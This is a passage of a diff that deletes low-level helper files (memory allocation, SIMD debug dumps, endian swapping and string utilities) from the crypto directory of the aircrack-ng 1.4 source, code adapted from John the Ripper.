-	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
-	 + ((i) &3)                                                                \
-	 + (unsigned int) index / SIMD_COEF_32 * 16 * SIMD_COEF_32)
-// for SHA384/SHA512 128 byte BE interleaved hash (arrays of 16 8 byte ints)
-#define SHA64GETPOS(i, index)                                                  \
-	((index & (SIMD_COEF_64 - 1)) * 8                                          \
-	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
-	 + (7 - ((i) &7))                                                          \
-	 + (unsigned int) index / SIMD_COEF_64 * SHA_BUF_SIZ * 8 * SIMD_COEF_64)
-#define SHA64GETOUTPOS(i, index)                                               \
-	((index & (SIMD_COEF_64 - 1)) * 8                                          \
-	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
-	 + (7 - ((i) &7))                                                          \
-	 + (unsigned int) index / SIMD_COEF_64 * 64 * SIMD_COEF_64)
-
-// for SHA384/SHA512 128 byte FLAT interleaved hash (arrays of 16 8 byte ints),
-// but we do not BE interleave.
-#define SHA64GETPOSne(i, index)                                                \
-	((index & (SIMD_COEF_64 - 1)) * 8                                          \
-	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
-	 + ((i) &7)                                                                \
-	 + (unsigned int) index / SIMD_COEF_64 * SHA_BUF_SIZ * 8 * SIMD_COEF_64)
-
-void dump_stuff_mmx_noeol(void * buf, unsigned int size, unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[GETPOS(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-}
-void dump_stuff_mmx(void * buf, unsigned int size, unsigned int index)
-{
-	dump_stuff_mmx_noeol(buf, size, index);
-	printf("\n");
-}
-void dump_stuff_mmx_msg(const void * msg,
-						void * buf,
-						unsigned int size,
-						unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_stuff_mmx(buf, size, index);
-}
-void dump_stuff_mmx_msg_sepline(const void * msg,
-								void * buf,
-								unsigned int size,
-								unsigned int index)
-{
-	printf("%s :\n", (char *) msg);
-	dump_stuff_mmx(buf, size, index);
-}
-void dump_out_mmx_noeol(void * buf, unsigned int size, unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[GETOUTPOS(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-}
-void dump_out_mmx(void * buf, unsigned int size, unsigned int index)
-{
-	dump_out_mmx_noeol(buf, size, index);
-	printf("\n");
-}
-void dump_out_mmx_msg(const void * msg,
-					  void * buf,
-					  unsigned int size,
-					  unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_out_mmx(buf, size, index);
-}
-void dump_out_mmx_msg_sepline(const void * msg,
-							  void * buf,
-							  unsigned int size,
-							  unsigned int index)
-{
-	printf("%s :\n", (char *) msg);
-	dump_out_mmx(buf, size, index);
-}
-
-#if defined(SIMD_PARA_MD5)
-#define GETPOSMPARA(i, index)                                                  \
-	((index & (SIMD_COEF_32 - 1)) * 4                                          \
-	 + (((i) & (0xffffffff - 3)) % 64) * SIMD_COEF_32                          \
-	 + (i / 64) * SIMD_COEF_32 * SIMD_PARA_MD5 * 64                            \
-	 + ((i) &3)                                                                \
-	 + (unsigned int) index / SIMD_COEF_32 * 64 * SIMD_COEF_32)
-// multiple para blocks
-void dump_stuff_mpara_mmx_noeol(void * buf,
-								unsigned int size,
-								unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[GETPOSMPARA(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-}
-void dump_stuff_mpara_mmx(void * buf, unsigned int size, unsigned int index)
-{
-	dump_stuff_mpara_mmx_noeol(buf, size, index);
-	printf("\n");
-}
-// obuf has to be at lease size long.  This function will unwind the SSE-para
-// buffers into a flat.
-void getbuf_stuff_mpara_mmx(unsigned char * oBuf,
-							void * buf,
-							unsigned int size,
-							unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-		*oBuf++ = ((unsigned char *) buf)[GETPOSMPARA(i, index)];
-}
-void dump_stuff_mpara_mmx_msg(const void * msg,
-							  void * buf,
-							  unsigned int size,
-							  unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_stuff_mpara_mmx(buf, size, index);
-}
-void dump_stuff_mpara_mmx_msg_sepline(const void * msg,
-									  void * buf,
-									  unsigned int size,
-									  unsigned int index)
-{
-	printf("%s :\n", (char *) msg);
-	dump_stuff_mpara_mmx(buf, size, index);
-}
-#endif
-
-void dump_stuff_shammx(void * buf, unsigned int size, unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[SHAGETPOS(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-	printf("\n");
-}
-void dump_stuff_shammx_msg(const void * msg,
-						   void * buf,
-						   unsigned int size,
-						   unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_stuff_shammx(buf, size, index);
-}
-void dump_out_shammx(void * buf, unsigned int size, unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[SHAGETOUTPOS(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-	printf("\n");
-}
-void dump_out_shammx_msg(const void * msg,
-						 void * buf,
-						 unsigned int size,
-						 unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_out_shammx(buf, size, index);
-}
-
-void dump_stuff_shammx64(void * buf, unsigned int size, unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[SHA64GETPOS(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-	printf("\n");
-}
-void dump_stuff_shammx64_msg(const void * msg,
-							 void * buf,
-							 unsigned int size,
-							 unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_stuff_shammx64(buf, size, index);
-}
-void dump_stuff_mmx64(void * buf, unsigned int size, unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[SHA64GETPOSne(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-	printf("\n");
-}
-void dump_stuff_mmx64_msg(const void * msg,
-						  void * buf,
-						  unsigned int size,
-						  unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_stuff_mmx64(buf, size, index);
-}
-
-void dump_out_shammx64(void * buf, unsigned int size, unsigned int index)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) buf)[SHA64GETOUTPOS(i, index)]);
-		if ((i % 4) == 3) printf(" ");
-	}
-	printf("\n");
-}
-void dump_out_shammx64_msg(const void * msg,
-						   void * buf,
-						   unsigned int size,
-						   unsigned int index)
-{
-	printf("%s : ", (char *) msg);
-	dump_out_shammx64(buf, size, index);
-}
-#endif
-
-void alter_endianity_w(void * _x, unsigned int count)
-{
-	int i = -1;
-	ARCH_WORD_32 * x = (ARCH_WORD_32 *) _x;
-#if ARCH_ALLOWS_UNALIGNED
-	while (++i < (int) count)
-	{
-		x[i] = JOHNSWAP(x[i]);
-	}
-#else
-	unsigned char *cpX, c;
-	if (is_aligned(x, sizeof(ARCH_WORD_32)))
-	{
-		// we are in alignment.
-		while (++i < (int) count)
-		{
-			x[i] = JOHNSWAP(x[i]);
-		}
-		return;
-	}
-	// non-aligned data :(
-	cpX = (unsigned char *) x;
-	while (++i < (int) count)
-	{
-		c = *cpX;
-		*cpX = cpX[3];
-		cpX[3] = c;
-		c = cpX[1];
-		cpX[1] = cpX[2];
-		cpX[2] = c;
-		cpX += 4;
-	}
-#endif
-}
-
-void alter_endianity_w64(void * _x, unsigned int count)
-{
-	int i = -1;
-	ARCH_WORD_64 * x = (ARCH_WORD_64 *) _x;
-#if ARCH_ALLOWS_UNALIGNED
-	while (++i < (int) count)
-	{
-		x[i] = JOHNSWAP64(x[i]);
-	}
-#else
-	unsigned char *cpX, c;
-	if (is_aligned(x, sizeof(ARCH_WORD_64)))
-	{
-		// we are in alignment.
-		while (++i < (int) count)
-		{
-			x[i] = JOHNSWAP64(x[i]);
-		}
-		return;
-	}
-	// non-aligned data :(
-	cpX = (unsigned char *) x;
-	while (++i < (int) count)
-	{
-		c = *cpX;
-		*cpX = cpX[7];
-		cpX[7] = c;
-		c = cpX[1];
-		cpX[1] = cpX[6];
-		cpX[6] = c;
-		c = cpX[2];
-		cpX[2] = cpX[5];
-		cpX[5] = c;
-		c = cpX[3];
-		cpX[3] = cpX[4];
-		cpX[4] = c;
-		cpX += 8;
-	}
-#endif
-}

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/memory.h Deleted

@@ -1,464 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-98,2003,2010-2012 by Solar Designer
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Memory allocation routines.
- */
-
-#ifndef _MEMORY_H
-#define _MEMORY_H
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include "arch.h"
-
-#if __AVX512F__
-#define SIMD_COEF_32 16
-#define SIMD_COEF_64 8
-#elif __AVX2__
-#define SIMD_COEF_32 8
-#define SIMD_COEF_64 4
-#elif __SSE2__
-#define SIMD_COEF_32 4
-#define SIMD_COEF_64 2
-#endif
-
-/*
- * Standard alignments for mem_alloc_tiny().
- */
-#define MEM_ALIGN_NONE 1
-#define MEM_ALIGN_WORD ARCH_SIZE
-/*
- * These are hopefully suitable guesses.  They are right for only a subset of
- * the architectures/CPUs we support, yet our use of them does not require that
- * they be entirely correct.
- */
-#ifdef _MSC_VER
-#define MEM_ALIGN_CACHE 64
-#else
-#define MEM_ALIGN_CACHE (ARCH_SIZE * 8)
-#endif
-#define MEM_ALIGN_PAGE 0x1000
-
-/*
- * SIMD buffers need to be aligned to register size
- */
-#if SIMD_COEF_32
-#ifdef _MSC_VER
-#define MEM_ALIGN_SIMD 16
-#else
-#define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4)
-#endif
-#else
-#define MEM_ALIGN_SIMD (16)
-#endif
-
-/*
- * Block size used by mem_alloc_tiny().
- */
-#define MEM_ALLOC_SIZE 0x10000
-
-/*
- * Use mem_alloc() instead of allocating a new block in mem_alloc_tiny()
- * if more than MEM_ALLOC_MAX_WASTE bytes would be lost.
- * This shouldn't be set too small, or mem_alloc_tiny() will keep calling
- * mem_alloc() for many allocations in a row, which might end up wasting even
- * more memory to malloc() overhead.
- */
-#define MEM_ALLOC_MAX_WASTE 0xff
-
-/*
- * Memory saving level, setting this high enough disables alignments (if the
- * architecture allows).
- */
-extern unsigned int mem_saving_level;
-
-/*
- * Allocates size bytes and returns a pointer to the allocated memory.
- * If an error occurs, the function does not return.
- */
-extern void * mem_alloc_func(size_t size
-#if defined(MEMDBG_ON)
-							 ,
-							 char * file,
-							 int line
-#endif
-							 );
-/*
- * this version same as mem_alloc, but initialized the memory
- * to NULL bytes, like CALLOC(3) function does
- */
-extern void * mem_calloc_func(size_t count,
-							  size_t size
-#if defined(MEMDBG_ON)
-							  ,
-							  char * file,
-							  int line
-#endif
-							  );
-
-#if defined(MEMDBG_ON)
-#define mem_alloc(a) mem_alloc_func(a, __FILE__, __LINE__)
-#define mem_calloc(a, b) mem_calloc_func(a, b, __FILE__, __LINE__)
-#define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b, __FILE__, __LINE__)
-#define mem_calloc_tiny(a, b) mem_calloc_tiny_func(a, b, __FILE__, __LINE__)
-#define mem_alloc_copy(a, b, c) mem_alloc_copy_func(a, b, c, __FILE__, __LINE__)
-#define str_alloc_copy(a) str_alloc_copy_func(a, __FILE__, __LINE__)
-#define mem_alloc_align(a, b) mem_alloc_align_func(a, b, __FILE__, __LINE__)
-#define mem_calloc_align(a, b, c)                                              \
-	mem_calloc_align_func(a, b, c, __FILE__, __LINE__)
-#else
-#define mem_alloc(a) mem_alloc_func(a)
-#define mem_calloc(a, b) mem_calloc_func(a, b)
-#define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b)
-#define mem_calloc_tiny(a, b) mem_calloc_tiny_func(a, b)
-#define mem_alloc_copy(a, b, c) mem_alloc_copy_func(a, b, c)
-#define str_alloc_copy(a) str_alloc_copy_func(a)
-#define mem_alloc_align(a, b) mem_alloc_align_func(a, b)
-#define mem_calloc_align(a, b, c) mem_calloc_align_func(a, b, c)
-#endif
-
-/* These allow alignment and are wrappers to system-specific functions */
-void * mem_alloc_align_func(size_t size,
-							size_t align
-#if defined(MEMDBG_ON)
-							,
-							char * file,
-							int line
-#endif
-							);
-
-void * mem_calloc_align_func(size_t count,
-							 size_t size,
-							 size_t align
-#if defined(MEMDBG_ON)
-							 ,
-							 char * file,
-							 int line
-#endif
-							 );
-
-/*
- * Frees memory allocated with mem_alloc() and sets the pointer to NULL.
- * Does nothing if the pointer is already NULL.
- */
-#undef MEM_FREE
-
-#ifdef _MSC_VER
-#if !defined(MEMDBG_ON)
-#define strdup(a) strdup_MSVC(a)
-char * strdup_MSVC(const char * str);
-#define MEM_FREE(ptr)                                                          \
-	{                                                                          \
-		if ((ptr))                                                             \
-		{                                                                      \
-			_aligned_free((ptr));                                              \
-			(ptr) = NULL;                                                      \
-		}                                                                      \
-	}
-#else
-#define MEM_FREE(ptr)                                                          \
-	{                                                                          \
-		if ((ptr))                                                             \
-		{                                                                      \
-			MEMDBG_free(((const void *) ptr), __FILE__, __LINE__);             \
-			(ptr) = NULL;                                                      \
-		}                                                                      \
-	}
-#endif
-
-#else
-#define MEM_FREE(ptr)                                                          \
-	{                                                                          \
-		if ((ptr))                                                             \
-		{                                                                      \
-			free((ptr));                                                       \
-			(ptr) = NULL;                                                      \
-		}                                                                      \
-	}
-#endif
-
-/*
- * Similar to the above function, except the memory can't be freed.
- * This one is used to reduce the overhead.
- */
-extern void * mem_alloc_tiny_func(size_t size,
-								  size_t align
-#if defined(MEMDBG_ON)
-								  ,
-								  char * file,
-								  int line
-#endif
-								  );
-
-/*
- * this version same as mem_alloc_tiny, but initialized the memory
- * to NULL bytes, like CALLOC(3) function does
- */
-extern void * mem_calloc_tiny_func(size_t size,
-								   size_t align
-#if defined(MEMDBG_ON)
-								   ,
-								   char * file,
-								   int line
-#endif
-								   );
-
-/*
- * Uses mem_alloc_tiny() to allocate the memory, and copies src in there.
- */
-extern void * mem_alloc_copy_func(void * src,
-								  size_t size,
-								  size_t align
-#if defined(MEMDBG_ON)
-								  ,
-								  char * file,
-								  int line
-#endif
-								  );
-
-/*
- * Similar to the above function, but for ASCIIZ strings.
- */
-extern char * str_alloc_copy_func(char * src
-#if defined(MEMDBG_ON)
-								  ,
-								  char * file,
-								  int line
-#endif
-								  );
-
-/*
- * This will 'cleanup' the memory allocated by mem_alloc_tiny().  All
- * of that memory was 'blindly' allocated, and not freed up during
- * the run of john.  Now, it is 'cleaned' up.
- */
-extern void cleanup_tiny_memory(void);
-
-void dump_text(void * in, int len);
-void dump_stuff(void * x, unsigned int size);
-void dump_stuff_msg(const void * msg, void * x, unsigned int size);
-void dump_stuff_noeol(void * x, unsigned int size);
-void dump_stuff_msg_sepline(const void * msg, void * x, unsigned int size);
-void dump_stuff_be(void * x, unsigned int size);
-void dump_stuff_be_msg(const void * msg, void * x, unsigned int size);
-void dump_stuff_be_noeol(void * x, unsigned int size);
-void dump_stuff_be_msg_sepline(const void * msg, void * x, unsigned int size);
-
-#if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined(SIMD_PARA_MD5)      \
-	|| defined(SIMD_PARA_MD4) || defined(SIMD_PARA_SHA1)
-void dump_stuff_mmx(void * x, unsigned int size, unsigned int index);
-void dump_stuff_mmx_noeol(void * x, unsigned int size, unsigned int index);
-void dump_stuff_mmx_msg(const void * msg,
-						void * buf,
-						unsigned int size,
-						unsigned int index);
-void dump_stuff_mmx_msg_sepline(const void * msg,
-								void * buf,
-								unsigned int size,
-								unsigned int index);
-// for flat input, we do want to see SHA512 without byte swapping.
-void dump_stuff_mmx64(void * buf, unsigned int size, unsigned int index);
-void dump_stuff_mmx64_msg(const void * msg,
-						  void * buf,
-						  unsigned int size,
-						  unsigned int index);
-void dump_out_mmx(void * x, unsigned int size, unsigned int index);
-void dump_out_mmx_noeol(void * x, unsigned int size, unsigned int index);
-void dump_out_mmx_msg(const void * msg,
-					  void * buf,
-					  unsigned int size,
-					  unsigned int index);
-void dump_out_mmx_msg_sepline(const void * msg,
-							  void * buf,
-							  unsigned int size,
-							  unsigned int index);
-void dump_stuff_shammx(void * x, unsigned int size, unsigned int index);
-void dump_stuff_shammx_msg(const void * msg,
-						   void * buf,
-						   unsigned int size,
-						   unsigned int index);
-void dump_out_shammx(void * x, unsigned int size, unsigned int index);
-void dump_out_shammx_msg(const void * msg,
-						 void * buf,
-						 unsigned int size,
-						 unsigned int index);
-void dump_stuff_shammx64(void * x, unsigned int size, unsigned int index);
-void dump_stuff_shammx64_msg(const void * msg,
-							 void * buf,
-							 unsigned int size,
-							 unsigned int index);
-void dump_out_shammx64(void * x, unsigned int size, unsigned int index);
-void dump_out_shammx64_msg(const void * msg,
-						   void * buf,
-						   unsigned int size,
-						   unsigned int index);
-#endif
-
-#if defined(SIMD_PARA_MD5)
-// these functions help debug arrays of contiguous MD5 prepared PARA buffers.
-// Seen in sunmd5 at the current time.
-void dump_stuff_mpara_mmx(void * x, unsigned int size, unsigned int index);
-void dump_stuff_mpara_mmx_noeol(void * x,
-								unsigned int size,
-								unsigned int index);
-void dump_stuff_mpara_mmx_msg(const void * msg,
-							  void * buf,
-							  unsigned int size,
-							  unsigned int index);
-void dump_stuff_mpara_mmx_msg_sepline(const void * msg,
-									  void * buf,
-									  unsigned int size,
-									  unsigned int index);
-// a 'getter' to help debugging.  Returns a flat buffer, vs printing it out.
-void getbuf_stuff_mpara_mmx(unsigned char * oBuf,
-							void * buf,
-							unsigned int size,
-							unsigned int index);
-#endif
-
-/*
- * here, a stack buffer that is at least align-1 bytes LARGER than required, can
- * be
- * properly aligned to 'align' bytes. So:   char tmpbuf[256+15],
- * *aligned_buf=mem_align(tmpbuf,16);
- * will give you a stack buffer, aligned to 16 bytes.  There are bugs in some
- * compilers which cause
- * JTR_ALIGN(x) to fail properly (such as a bug in bitcoin OMP mode for linux32)
- * Switched to a define macro for performance.
- */
-#define mem_align(a, b)                                                        \
-	(void *) (((char *) (a))                                                   \
-			  + (((b) -1) - (((size_t)((char *) (a)) - 1) & ((b) -1))))
-
-/*
- * 32-bit endian-swap a memory buffer in place. Size is in octets (so should
- * be a multiple of 4). From now on, this function may be used on any arch.
- */
-void alter_endianity(void * x, unsigned int size);
-
-/* 32-bit endian-swap a memory buffer in place. Count is in 32-bit words */
-void alter_endianity_w(void * x, unsigned int count);
-
-/* 64-bit endian-swap a memory buffer in place. Count is in 64-bit words */
-void alter_endianity_w64(void * x, unsigned int count);
-
-#if ARCH_ALLOWS_UNALIGNED
-// we can inline these, to always use JOHNSWAP/JOHNSWAP64
-// NOTE, more portable to use #defines to inline, than the MAYBE_INLINE within
-// header files.
-#if (ARCH_LITTLE_ENDIAN == 0)
-#define alter_endianity_to_BE(a, b)
-#define alter_endianity_to_BE64(a, b)
-#define alter_endianity_to_LE(ptr, word32_cnt)                                 \
-	do                                                                         \
-	{                                                                          \
-		int i;                                                                 \
-		for (i = 0; i < word32_cnt; i++)                                       \
-			((ARCH_WORD_32 *) ptr)[i] = JOHNSWAP(((ARCH_WORD_32 *) ptr)[i]);   \
-	} while (0)
-#define alter_endianity_to_LE64(ptr, word64_cnt)                               \
-	do                                                                         \
-	{                                                                          \
-		int i;                                                                 \
-		for (i = 0; i < word64_cnt; i++)                                       \
-			((ARCH_WORD_64 *) ptr)[i] = JOHNSWAP64(((ARCH_WORD_64 *) ptr)[i]); \
-	} while (0)
-#else
-#define alter_endianity_to_LE(a, b)
-#define alter_endianity_to_LE64(a, b)
-#define alter_endianity_to_BE(ptr, word32_cnt)                                 \
-	do                                                                         \
-	{                                                                          \
-		int i;                                                                 \
-		for (i = 0; i < word32_cnt; i++)                                       \
-			((ARCH_WORD_32 *) ptr)[i] = JOHNSWAP(((ARCH_WORD_32 *) ptr)[i]);   \
-	} while (0)
-#define alter_endianity_to_BE64(ptr, word64_cnt)                               \
-	do                                                                         \
-	{                                                                          \
-		int i;                                                                 \
-		for (i = 0; i < word64_cnt; i++)                                       \
-			((ARCH_WORD_64 *) ptr)[i] = JOHNSWAP64(((ARCH_WORD_64 *) ptr)[i]); \
-	} while (0)
-#endif
-#else
-#if (ARCH_LITTLE_ENDIAN == 0)
-#define alter_endianity_to_BE(a, b)
-#define alter_endianity_to_LE(a, b)                                            \
-	do                                                                         \
-	{                                                                          \
-		alter_endianity_w(a, b);                                               \
-	} while (0)
-#define alter_endianity_to_BE64(a, b)
-#define alter_endianity_to_LE64(a, b)                                          \
-	do                                                                         \
-	{                                                                          \
-		alter_endianity_w64(a, b);                                             \
-	} while (0)
-#else
-#define alter_endianity_to_BE(a, b)                                            \
-	do                                                                         \
-	{                                                                          \
-		alter_endianity_w(a, b);                                               \
-	} while (0)
-#define alter_endianity_to_LE(a, b)
-#define alter_endianity_to_BE64(a, b)                                          \
-	do                                                                         \
-	{                                                                          \
-		alter_endianity_w64(a, b);                                             \
-	} while (0)
-#define alter_endianity_to_LE64(a, b)
-#endif
-#endif
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/misc.h Deleted

@@ -1,202 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-99,2003 by Solar Designer
- *
- * ...with changes in the jumbo patch, by JimF and magnum.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Miscellaneous routines.
- */
-
-#ifndef _MISC_H
-#define _MISC_H
-
-#include <stdio.h>
-
-#if (__MINGW32__ && !__MINGW64__) || _MSC_VER
-// Later versions of MSVC can handle %lld but some older
-// ones can only handle %I64d.  Easiest to simply use
-// %I64d then all versions of MSVC will handle it just fine
-#define LLu "%I64u"
-#define LLd "%I64d"
-#define LLx "%I64x"
-#define Zu "%u"
-#define Zd "%d"
-#else
-#define LLu "%llu"
-#define LLd "%lld"
-#define LLx "%llx"
-#define Zu "%zu"
-#define Zd "%zd"
-#endif
-
-#if !AC_BUILT
-#include <string.h>
-#ifndef _MSC_VER
-#include <strings.h>
-#endif
-#else
-#include "autoconfig.h"
-#if STRING_WITH_STRINGS
-#include <string.h>
-#include <strings.h>
-#elif HAVE_STRING_H
-#include <string.h>
-#elif HAVE_STRINGS_H
-#include <strings.h>
-#endif
-#endif
-
-/*
- * Exit on error. Logs the event, closes john.pot and the log file, and
- * terminates the process with non-zero exit status.
- */
-extern void real_error(char * file, int line)
-#ifdef __GNUC__
-	__attribute__((__noreturn__));
-#else
-	;
-#endif
-
-#define error(...) real_error(__FILE__, __LINE__)
-
-/*
- * Exit on error with message.  Will call real_error to do
- * the final exiting, after printing error message.
- */
-extern void real_error_msg(char * file, int line, char * format, ...)
-#ifdef __GNUC__
-	__attribute__((__noreturn__)) __attribute__((format(printf, 3, 4)));
-#else
-	;
-#endif
-
-#define error_msg(...) perror(__VA_ARGS__)
-
-/*
- * Similar to perror(), but supports formatted output, and calls error().
- */
-extern void real_pexit(char * file, int line, char * format, ...)
-#ifdef __GNUC__
-	__attribute__((__noreturn__)) __attribute__((format(printf, 3, 4)));
-#else
-	;
-#endif
-
-#define pexit(...)                                                             \
-	{                                                                          \
-		perror(__VA_ARGS__);                                                   \
-		clean_exit(FAILURE);                                                   \
-	}
-
-/*
- * Attempts to write all the supplied data. Returns the number of bytes
- * written, or -1 on error.
- */
-extern int write_loop(int fd, const char * buffer, int count);
-
-/*
- * Similar to fgets(), but doesn't leave the newline character in the buffer,
- * and skips to the end of long lines. Handles both Unix and DOS style text
- * files correctly.
- */
-extern char * fgetl(char * s, int size, FILE * stream);
-
-/*
- * Similar to strncpy(), but terminates with only one NUL if there's room
- * instead of padding to the supplied size like strncpy() does.
- */
-extern char * strnfcpy(char * dst, const char * src, int size);
-
-/*
- * Similar to the above, but always NUL terminates the string.
- */
-extern char * strnzcpy(char * dst, const char * src, int size);
-
-/*
- * Similar to the strnzcpy, but returns the length of the string.
- */
-extern int strnzcpyn(char * dst, const char * src, int size);
-
-/*
- * Similar to strncat(), but total buffer size is supplied, and always NUL
- * terminates the string.
- */
-extern char * strnzcat(char * dst, const char * src, int size);
-
-/*
- * Similar to atoi(), but properly handles unsigned int.  Do not use
- * atoi() for unsigned data if the data can EVER be over MAX_INT.
- */
-extern unsigned atou(const char * src);
-
-/*
- * Similar to strtok(), but properly handles adjacent delmiters as
- * empty strings.  strtok() in the CRTL merges adjacent delimiters
- * and sort of 'skips' them. This one also returns 'empty' tokens
- * for any leading or trailing delims. strtok() strips those off
- * also.
- */
-char * strtokm(char * s1, const char * delimit);
-
-#ifndef __has_feature
-#define __has_feature(x) 0
-#endif
-
-#if /* is ASAN enabled? */                                                     \
-	__has_feature(address_sanitizer) /* Clang */                               \
-	|| defined(__SANITIZE_ADDRESS__) /* GCC 4.8.x */
-#define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS                                   \
-	__attribute__((no_address_safety_analysis)) __attribute__((noinline))
-#define WITH_ASAN
-#else
-#define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS
-#endif
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/pseudo_intrinsics.h Deleted

@@ -1,742 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
